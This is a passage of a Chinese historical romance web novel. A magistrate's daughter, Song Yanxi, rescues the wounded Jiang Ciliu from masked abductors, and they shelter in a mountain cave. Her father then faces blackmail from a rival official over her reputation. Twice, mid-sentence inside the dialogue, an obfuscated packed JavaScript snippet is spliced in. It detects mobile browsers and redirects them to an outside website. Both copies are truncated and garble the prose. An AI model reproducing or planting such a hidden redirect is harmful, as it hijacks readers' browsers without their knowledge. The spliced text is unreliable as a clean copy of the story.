“好,那我们便说些与我有关的!”宋砚昔跟了上去,“我且问你,你究竟为何骗我?” 江辞流知道她已经识破了一切,眼下却不想与她纠缠,心间涌起莫名的烦躁,“想骗便骗了。” 江辞流停下脚,“女郎知道了,还要纠缠在下?” 江辞流琉璃色的眸子透着暗淡不明的情绪,非喜非怒,面色带着病态的苍白,却掩盖不住少年人的桀骜。 纠缠他? 宋砚昔瞪大眸子,他怎么能这般诋毁她! 一抹红晕爬上耳迹,宋砚昔怒吼:“你莫要将话说得那般难听,我寻你不过是有要事问你。” “在下没空。”江辞流说完便转了身, 宋砚昔追了上去,“没空你也得给我听着。” 江辞流烦躁至极,指尖传来黏腻感,他快要撑不住了。 江辞流拔脚就要走,余光瞥见一个身影。 不好! 江辞流反应过来时已经晚了,一人正打马朝他二人飞奔而来,江辞流下意识推开宋砚昔。 宋砚昔摔倒在地,两个手掌火辣辣的,方要大骂出口,却见江辞流拦腰被挂在马上拖走了。 “嘚嘚。 “这是……”宋砚昔一时未反应过来。 江辞流应付宋砚昔便已经十分吃力,所以根本没有注意到旁人。 越是危急关头,他的脑子越是清晰。 江辞流试着动手,都被那人躲了去。 江辞流一筹莫展之际,身后又响起了奔腾的马蹄声。 江辞流费力抬头,却见着宋砚昔打马而来。 风在耳边呼啸,四周满是行人的咒骂与惊叫声,江辞流却还是捕捉到了宋砚昔的声音: “放下他!” 江辞流瞪大眸子。 她追上来作甚? 江辞流勾起唇角,嘲讽道:“真傻。” 可只她傻,才会追上来。 街上闹得人仰马翻,众人见是宋砚昔在追人,纷纷帮宋砚昔拦住蒙面人。 飞镖打到蒙面人的头,蒙面人吃痛,一个不稳便从马上摔了下来。 鸡蛋、石头、篮子、蒸饼、筷子……众人有什么便扔什么,蒙面人见状,慌得逃走了。 纷乱中,那石头命中马腹,马受到了惊吓,“噌”地一下跃了出去。 宋砚昔重重踢了一下马腹追了上去。 直至跑出闹市,到了郊外宋砚昔才堪堪追上,宋砚昔果断地从自己的马上跳了过去,落在江辞流身后。 宋砚昔这才看见他脸色煞白,就连白衣上也沾了点点血迹。宋砚昔连忙勒马,马终于停了下来。 “江辞流,你怎么了?”宋砚昔慌乱地摇动他的肩膀。 他怎么病成这个样子? 天旋地转间,得宋砚昔所赐,江辞流白日也看到了星星。 江辞流睁眼,“我无事,带我回……” 家字还没有张出口,他便朝着宋砚昔扑了过去。 宋砚昔强拉住缰绳才稳住身形,马扬起前蹄,嘶吼一声。 ”你又……”埋怨的话被风卷走,下一秒马便狂奔了起来,她放在江辞流右臂上的手也传来一股黏腻感。 江辞流整个人都扑倒在宋砚昔怀里,宋砚昔呆愣地抬起手,血腥味直窜入鼻。 她不可置信地看着倒在怀里的江辞流。 江辞流嘴角也带着血,白衣上也有斑斑血迹,整个人仿佛都在血里泡着,眼皮挣扎着半睁开,“抱歉,应该是连累你了。” 他扯了扯嘴角,轻轻环住她,在她耳边道: “不过别怕。” “我在。” 11. 第十章 宋砚昔尚未搞清状况,身后又响起马蹄声。 身后之人距她半个马身的距离,伸手便要捞江辞流。 这群人是什么人?又与江辞流有什么过节? 宋砚昔冷哼一声,“真麻烦。” 低头朝着江辞流怒吼道:“抓紧了。” 宋砚昔裙摆的褶皱又深了几分,像是被暴风雨揉皱的湖面,层层堆叠,翻涌不止。 宋砚昔握紧缰绳,抬脚踢向马腹,“驾!” 马儿听到指令,策马狂奔起来,很快便将人甩开了。 身后之人追着二人到了郊外。 宋砚昔略一低头,江辞流埋在她的颈窝间,他的右臂上插了一只羽箭——方才为了救她才中的招。 羞涩、疑惑、恐惧……宋砚昔心中五味杂陈。 无论如何,先救人是真。 宋砚昔回首,身后的人还在不依不饶地追着。这样下去不是办法,若再向前走怕是要进山了。为今之计,只能朝着山脚寻路回城。只是那路狭窄险峻,不便通行。 顾不得许多了。 江辞流还病着,现下又受了伤,再拖下去恐怕对他不利。 宋砚昔皱着眉头,“喂,你还没死吧?” “……” “喂!”宋砚昔怒吼一声,因为用力,胸腔剧烈地震动着。 回应她的只有一声干哑的咳嗽。 她的胸膛也随之颤动。 宋砚昔放下心来,他没死就行。 宋砚昔又踢了一下马腹,马儿又奔了起来。 身后的人却也追了上来。 怀中的江辞流似乎是不能忍受这般剧烈的颠簸,发疯版咳了起来,仿佛要将他的五脏都咳出来。 宋砚昔垂眸看了一眼江辞流,他乖顺地靠在她的颈窝间,即使这般咳着脸上也没有一丝血色,整个人再没了往日的神采。 宋砚昔放缓语气,轻声道:“再忍一下,稍后便会将他甩开了。”说着又重重地踢了一下马腹。 就在宋砚昔要转进那条小路之时,身后的人仿佛识破了她的计谋,一柄长剑从后方袭来,直击马腿。 马儿嘶鸣一声,扬起马蹄,宋砚昔从马上跌了下去,手仍死死地攥着江辞流的手腕,“江辞流!” 二人顺着坡地一路向下滚了下去。 耳边是风的呼啸声和滑过杂草的“沙沙”声。 “嘭。”宋砚昔磕到一块石头,晕了过去。 宋砚昔再醒来的时候,天已经完全黑了下去。 额头传来剧痛,宋砚昔皱着眉头抬手,耳边响起“噼里啪啦”的烛火声。 江辞流抬眸,看着覆在宋砚昔额头上的碎布料掉在地上,张了张嘴,还是没有说出声。 宋砚昔坐直了身子,身上灰色的大氅随着她的动作落在地上。 “这是……”宋砚昔转身便看到了篝火对面的江辞流。 在她望过来的前一秒,江辞流已经合上双眸。 “江辞流!”宋砚昔终于想起来先前发生了什么。 江辞流听到动静睁眼,声音带着一丝懒散,“何事?” 宋砚昔飞奔到江辞流身边,“你可还好?” 宋砚昔额头上还残留着点点药渣。 江辞流不悦地皱了皱眉,藏在袖子下的手要动未动,“无事。” 声音还带着浓重的鼻音。 宋砚昔又问,“这是何处?” “山洞。” “我们为何?” 我们? 江辞流想不到他还能和她成为“我们”。 “马儿受了惊,你我二人从马上跌落,你撞到头晕了过去。” “是你带我来这里的?” 江辞流转头盯了宋砚昔好一阵,却还是没有点头。 宋砚昔并不计较他的无礼,问:“那人可是冲着你来的?” “对不住,连累了你。”说来也奇怪,他实在想不通,宋砚昔为何每次都能在街上遇见他。 若今日没能相遇便好了。 宋砚昔愣了一下,“你也知道与人道歉吗?” 江辞流合上眼,没说话。 “喂!”宋砚昔蹲在江辞流对面,见他又无礼地闭上眼睛,忍不住叫道。 江辞流伸出两只手,轻轻地揉了揉耳朵。 宋砚昔更瞪大了双眼,“你没听见我说话吗?” “我累了。”江辞流的声音确实很疲倦。 宋砚昔皱着眉头看着江辞流,他浓密的睫毛连同投射在墙洞的烛火一齐轻颤着。 这两日的他格外的奇怪。 “你解释完了再睡。”宋砚昔不依不饶。 江辞流没有答话。 “喂!”宋砚昔又提高音量。 这一次江辞流没有伸手,仿佛没有听到一般。 宋砚昔抬手拽了拽他的袖子,“你说话啊!” 她这般无礼,江辞流却还是没有反应,宋砚昔这才慌了,“你……”宋砚昔伸手探向他的额头。 很烫,仿佛要烧着了。 宋砚昔更慌了,连忙摇着江辞流,“你还好吗?你不要睡啊,我该……” 江辞流整个人倒在她的怀里,如同一个火炉一般。耳边的呼吸带着灼热的触感,宋砚昔更慌了。 宋砚昔环住江辞流才注意到他肩上的箭已经被拔掉了,手臂用破碎的布料缠着,像是从袍子上撕下来的。许是因为她拽他的缘故,又有血流了出来。 一股凉意从宋砚昔的心间涌入四肢,一个不好的念头浮在脑海里。 他不会是要死了吧? “江辞流,江辞流,你不要吓我!”宋砚昔的声音微微颤抖着。 她现在要找东西给他取暖,可眼下只有篝火,宋砚昔试图抬起江辞流,可她根本使不上力气,人也跌倒在地。宋砚昔双手撑在地上要起身,却见她起来的地上散落着一件大氅。宋砚昔连忙捡了起来披在他身上。 宋砚昔双手环住自己的膝盖,皱着眉靠在江辞流身前。 “江辞流,你理理我好不好……” 风在洞外嘶吼着,篝火疯了一般猛烈地跳动着。 片刻后,宋砚昔站起身。 一只手拉住了她,带着灼热的体温。 “不要走。” 宋砚昔回身,江辞流依旧闭着双眼。 宋砚昔长呼一口气,劫后余生般感慨道:“你无事……” “我去再寻一些柴火,这火怕是不够。” 江辞流松开宋砚昔的袖子,向旁边一指,“在那边。” 宋砚昔这才注意到,那边还有木头。 “哦哦,我这就拿来。” 宋砚昔向篝火里扔了几根木棍。 “不要乱走,他们会找来。” “他们为何要追杀你?” 江辞流依旧没有答话。 “好好好,我不问你,你和我说说话好不好。”宋砚昔自己都没有意识到她的声音带着哭腔。 “别怕。”江辞流轻笑一声,“我还死不了,只是有些冷。” 唯一的大氅盖在他身上,他还是冷的。 宋砚昔皱着眉,“那如何……我们再往火边靠一靠罢。” 江辞流却不理她,“晚上还会冷上几分,你穿得那么少,是挨不住的。”说着揪起自己的大氅。 “不必,给你自己留着罢。”宋砚昔以为他又要将大氅给自己,连忙拒绝。 “进来。” 江辞流两手拎着衣角,左胳膊整个抬起,大氅搭建出来一方小天地。 江辞流用眼色示意宋砚昔坐进来。 宋砚昔瞪大双眼,“于礼不合!” “你守礼,守着礼冻死罢了。”江辞流轻咳一声,说着便要收回自己的衣角。 “噌”的一下,宋砚昔钻了进去。 “你出去,冻死也该冻死你。” 江辞流只是朝着宋砚昔的方向又靠了靠。 宋砚昔整个人都僵了。 江辞流低笑一声,合上眼。 烛火将两人的脸都照得红扑扑的。 “喂!” “你不是知道我叫什么了吗?” “大骗子。” 江辞流又笑了一下。 “江辞流。” “干嘛?” “你没死就行。” “噼啪。”木棍爆破的声音。 宋砚昔朝着江辞流的方向靠了靠,果然暖和许多。 “江辞流?” “没死。” 宋砚昔笑了一下。 “不要笑了,我问你,你失踪多久,你府上的人才会出来寻你?” 宋砚昔沉思,“我晚上不归家,小满知道便会告诉管家了。” “日上三更,不见人来,知县府上的人都是饭桶不成?” “你这嘴是淬了什么毒吗?平日那么和气,私下却是这般狠毒?” 江辞流反问,“这你不是早就领略过了吗?” 一句话便承认了一切。 宋砚昔瞪大双眸,不可置信地看着他。他怎么做到无理却还理直气壮的?宋砚昔语噎,过了半天才道:“你这人怎么这样?” “我不知外面有多少歹人,等了这许久,你府上的人怕是寻不来了,眼下我没有力气,若是他们来了,不能护你周全还会害了你,所以你快逃吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922309|192607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 烛火勾勒出江辞流精致的轮廓,他整张脸都柔和了下来,一双丹凤眼专注又认真。 他的脸被火光映得通红,就连双瞳里也燃着熊熊烈火。 过了许久,宋砚昔才问,“那你怎么办。” 江辞流别开脸,“这与你无关。” 宋砚昔不满,“怎的是与我无关呢,若不是你,我岂会涉险?” “此事非我本愿。”江辞流不想再与宋砚昔纠缠,声音冷了几分,“你还是早些逃罢,他们的目标是我,你不在我身旁,他们不会拿你怎么样。” “那你怎么办?”宋砚昔依旧重复这个问题。 江辞流不懂,宋砚昔为何轻易就能让他烦躁,看着她的目光专注又认真,“你得救后,会来救我的,对吗?” 宋砚昔点点头。 “那我等你来救我。” 宋砚昔依旧没有答话。 江辞流耐着性子,“还有什么问题?” 宋砚昔瘪着嘴,悄悄看了一眼江辞流,对上江辞流的目光又很快逃开。 “有何不妥?”江辞流不由放低了声音。 “我怕黑,我要你和我一起走。” 江辞流:“……” 下一秒,江辞流又歪了回去。 “方才是你不让我走的,如今又让我走!”宋砚昔轻咳一声。 “你真不走?”江辞流不理她,又问。 “我说了啊,我怕黑……” 江辞流侧对着宋砚昔,山洞吞噬了所有的光,只剩下潮湿的、厚重的黑。宋砚昔的影子在石壁上拉得很长,随着篝火轻轻地跳动。江辞流心绪飘远…… 这是你自己不走的。 那便别走了。 以后也是。 江辞流轻咳一声,凉凉道:“听说野外还有野兽。” 宋砚昔的身影剧烈地抖动了一下。 “野狼,野熊,专爱吃细皮嫩肉的小娘子。” 宋砚昔向着他的方向走了两步。 “午夜之后,它们便出门了。” 宋砚昔离他愈来愈近了。 “再不走就来不及了。” 宋砚昔听出江辞流在笑,气愤地坐了回去,恨恨道:“若是有野狼和野熊来了,我先把你扔出去,死也是你先死!” 江辞流又笑了一声。 “不必,到时候你记得将火把全都扔出去,野狼惧火的。” 宋砚昔没好气地瞪了他一眼。 “你真不走了?” “我说了,我怕黑。” “那你明日天亮便走吧。” “那你呢?”宋砚昔问了一个晚上这个问题。 “等你来救我,你会来的,对吗?”江辞流眼里带着淡淡的笑意,就连唇角也微微弯起。这个笑与往常的笑都不一样,像是盛大的篝火,温暖热烈。 宋砚昔别开脸,声音不由变小,“你既然这么喜欢留在这里,留下来喂野狼罢!” 江辞流轻笑一声,“是你自己不愿走的。” 他为何一直让她走?宋砚昔方要问出声,江辞流又张了嘴,“我先睡一会,我真的太累了。”说着便歪了过去。 宋砚昔屏气凝神,小心翼翼地伸出手,探在他的鼻下。 尚有鼻息。 宋砚昔放下心来,顾不得羞涩,撑起另一片袍角钻了进去。 夜晚更寒,丝丝缕缕的寒意袭向宋砚昔。身边却有一个火炉,宋砚昔屈着身子朝旁边拱了拱,一直寻到一个舒适的姿势才睡过去。 * 宋凛酉时才回来,一入府便看到了宋府满院都亮着烛火。 “出了何事?”宋凛风尘仆仆,声音染了一丝疲惫。 管家战战兢兢,将宋砚昔丢失一事说了出来。 “有路人见女郎策马与一个郎君冲了出去,却是不知所踪了。” 宋凛听到这个消息瞳孔一震。 “大人,我们已经派小厮寻了半日。” 与男子策马同行,又消失一夜,传出去对宋砚昔的名声十分不好。 宋凛没有时间考虑这个问题,人活着才是总重要的,“拿我印来。” 宋凛洋洋洒洒写下一封信,“将此物传给张都监。” 管家愣了一下,若请张督监便是调了县里的兵,这事非要闹不开了,“大人,为了女郎的名声,此事怕是不妥。” “命重要还是名声重要?”宋凛皱着眉头,“光天化日之下便强行掳人,连王法都不顾了,怕只怕……”宋凛不敢再往下想,冷声吩咐:“无论如何,都要找到女郎。” 无所谓是他先找到阿昔还是旁人,只要能找到她,便是好。 12. 第十一章 宋砚昔是被嘈杂声吵醒的。 她迷蒙地睁开眼,洞内的火已经熄灭,内里没有一点光,只有洞口处透着亮。宋砚昔看到那张再熟悉不过的脸,惊喜道:“爹爹!” 宋凛看见宋砚昔长舒一口气,仔细瞧过去,宋砚昔发髻凌乱,衣衫不整,一旁好像还躺了个人,宋凛立刻转身堵住了洞口。 张县尉瞪了一眼宋凛,“宋知县这是在做什么?” 宋凛不为所动,依旧拦着他,二人身量差不多高,张县尉早就看到了宋砚昔。 “此乃本官家事,还请县尉先回罢。” 张县尉怒瞪一眼宋凛,“我惦念世侄女的安危,总该看看才能放下心。” “有我在此,不劳烦县尉了。” 张县尉见宋凛不上道,直接骂道:“你竟是这种卸磨杀驴之人?” “此事涉及本官家事,还请县尉宽恕。” 张县尉见宋凛态度强硬,冷哼一声,拂袖离开了。 宋砚昔这才察觉到江辞流还躺在她身边,她伸手探向江辞流的鼻尖。 尚有呼吸。 宋砚昔这才意识到二人盖着同一件大氅,她身上的衣服乱糟糟的,鬓边的发也垂了下来。 “爹爹,不是你想的那样!”宋砚昔红着脸,挥手摇头否认。 宋凛摇摇头,“有什么事回家再说。” 小满早就跟了上来,拿出斗篷为宋砚昔披上。 “爹爹……”宋砚昔看向江辞流,“求你救救他。” 宋凛不理宋砚昔,声音威严,“带女郎回去。” 宋砚昔知道宋凛的脾气,再不敢说什么,随着小满出去了。 宋凛看了一眼江辞流,吩咐道:“将他也带走。” “是。” * 江辞流睁开双眼,下意识向身旁看去,却没有宋砚昔的身影,且他好像不是在山洞里,而是在榻上…… 江辞流瞬间惊醒。 “醒来了?”前方传来一声威严的男声。 江辞流警惕地望了过去。 宋凛也抬头看了过去。 二人对视的一刹那,江辞流便放下心来,他虽未见过宋凛,但是还是一眼便认出了他。 宋砚昔与宋知县的轮廓十分相像。 “某,拜见宋知县。”江辞流起身行礼。 “你是何人?” “某江浔,表字辞流。” “找我所为何事?” “某久仰宋知县,路过平阳特来拜访。” 宋凛盯着江辞流,眼眸锐利,像是一支利箭,仿佛能洞穿他。 江辞流身上的伤已经处理过了,肩膀上的伤却格外严重,随着他的动作又渗出了血。江辞流仿佛未觉,依旧恭敬地挺着背。 “拜访我之后呢?” 江辞流笑笑,“某自是要回京城的。” “既如此,你伤好了我便送你回京城。” 江辞流收了笑,心道:“老狐狸。” “敢问知县宋女郎如何了?在下害她良苦,心实难安。” “放肆!你竟然还有脸提阿昔。”宋凛呵道。 若不是他,阿昔的清白怎么会受损! 江辞流垂着头,一副愧疚的模样。 罢了,事已至此,多说无益。 “你家住何处?” “在南巷。” “待你养好身子,我会派人护送你回京城。” “宋知县为何要护送在下……” 宋凛沉看着江辞流双目如炬,带着无声的威严。 江辞流垂下眼。 “稍后我便派人送你回去。” 江辞流却是慌了,连忙道:“在下确实有重要的事找知县。” “何事?”宋凛皱着眉,但还是停下了脚。 “实不相瞒,在下家人离去之时才说出我非他们亲子,而是他们从拐子手里买来的。” 宋凛在听到“拐子”三字瞪大了双眼。 “在下费了九牛二虎之力才寻到了那个拐子,拐子每年都要经手多人,早已忘了在下。在下在京城久闻宋知县心系此事,乐于助人,便厚着脸皮来求宋知县了。” 宋凛脸色有所缓和,轻声问道:“你还记得什么?” “还记得有一年冬天,有人抱着我跑,很冷,很冷……” “何年?” “这我不记得了,只记得天上燃着盛大的烟花,绽开的那一刹,同白日一样亮。” 宋凛向后退了一步,他也曾见过点亮整个汴京的盛大烟火。 那年是绍圣元年,天子亲政那一年。 “但我忘了是哪一天,只记得是冬日,街上到处都是猜字谜和卖花灯的。” 宋凛认命一般闭上眼睛。 * 宋砚昔望着木门唉声叹气——宋知县禁了她的足。 “什么嘛,我分明是救了一个人,爹爹为何要禁足我!” 小满悄悄瞟了一眼宋砚昔,“大人也是为了女郎好,女郎昨日险些受了风寒,也该养养身子,若是病了大人也跟着心疼。” 宋砚昔撇撇嘴,她尚未生病,病的却是另有其人。 也不知道江辞流怎么样了。 “你可知那个郎君如何了?” 小满仿佛被人踩到了尾巴,惊呼道:“可不能提他,大人正为了他而发愁呢!” “发愁?” 宋砚昔疑惑地看向小满,小满一脸的懊悔。 宋砚昔见小满有事情瞒着她,板着脸,“说,你是不是有什么事情瞒着我?” “我哪里敢,平日里我最是听女郎的话了。” “小满姐姐平日待我最好了。”宋砚昔微微一笑。 小满听得毛骨悚然,却还道:“那是当然了,我对女郎的忠心天地可证,日月可鉴。” “想来小满姐姐从来没有骗过我。” “那是当然了,我对女郎的情天地可证,日月可鉴。” 宋砚昔拉住小满的手,“既如此,小满姐姐一定要告诉我到底发生了什么。” 小满这才意识到自己又上了宋砚昔的套,知道宋砚昔不听到原委是不肯罢休的,叹了一口气,“大人为了找到女郎,不惜请了张县尉出马。女郎也是知道的,张县尉早就想与咱们宋府结亲。早间找到女郎时却看见女郎和旁人衣衫不整地躺在一起,到底是有嘴说不清,他便要大人同意女郎和他家郎君的亲事。” “大人不肯,他便威胁大人要将女郎的事情说出去。到时女郎失了清白,便再也说不清了。” 宋砚昔怒火中烧,她不过是救了个人,怎的就失了清白。 “凭他如何去说,难不成他上嘴唇碰下嘴唇我的清白便没了?” 小满不满地摇摇头,“众口铄金,女郎总该懂得这个道理。” “这算是什么道理。” 小满又道:“其实还有一个旁的办法。” “什么办法?” “将女郎许给那郎君。” 宋砚昔的脑子又炸开了花,神情激动地反问:“什么?” 不等小满接话,宋砚昔又道:“要将我许给那骗子?” “阿父同意了?” 小满摇摇头。 “那便好。”宋砚昔长舒了一口气,心却未静下来,剧烈地跳着。 “但……县令大人已经派了人马去浔阳。” “去浔阳作甚?” 小满摇摇头,“这我便不知道了。” 小满的话未能彻底解答宋砚昔的疑惑,她下定决心要去找宋凛。 宋砚昔开了门,门外果然有婆子在守着。 “我要去给爹爹请安,你们也敢拦着吗?” 婆子对视一眼,摇摇头。 宋砚昔大摇大摆地走了出去。 婆子灰溜溜地跟了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我如何?宋知县怕不是词穷了?” “若我不同意该如何?”张县尉家的郎君年未及冠,虽尚未娶妻,但是已有了八房妾室,分明是浪荡子弟的做派,他阿昔嫁过去便是送她入火坑。 “不能如何,只不过是整个平阳,或者整个州府都能知道宋女郎昨日发生什么罢了。” “你……你,卑鄙!”宋凛被气得不轻。 “宋女郎的名声全在宋知县一念之间了,明日午时若是再得不到宋知县点头,本官也管不住自己的嘴了!” 宋凛怒火上升,七窍生烟。 张县尉走后,宋凛一直在书房坐了一夜。 直至天边露出淡青色,宋府派出去的人才赶了回来。 “大人,幸不辱命。”说着将手中的信递了出去。 宋凛面无表情地拆开了信,看完之后整个人跌落在椅子上。 一日后,张县尉见宋凛没有动静,冷哼一声,方要带人传消息出去,怎料另一个消息却是先传到了他的耳中。 宋凛已经为宋女郎挑选了一位郎君入赘宋府。 宋凛祖上行商积累了万贯家财,他膝下只有宋砚昔这一个女儿,此事十里八村的都知道。宋砚昔自及笄起,来宋府提亲的媒婆便不曾断过。 张县尉将手中的茶盏扔了出去,怒吼:“宋凛这厮,真是欺我太甚!” 宁可要人入赘也不同意他家的亲事,真真是没将他放在眼里! “我且看看这小子有命入赘你宋家吗!” “叫我难堪,我也偏要你不好过!”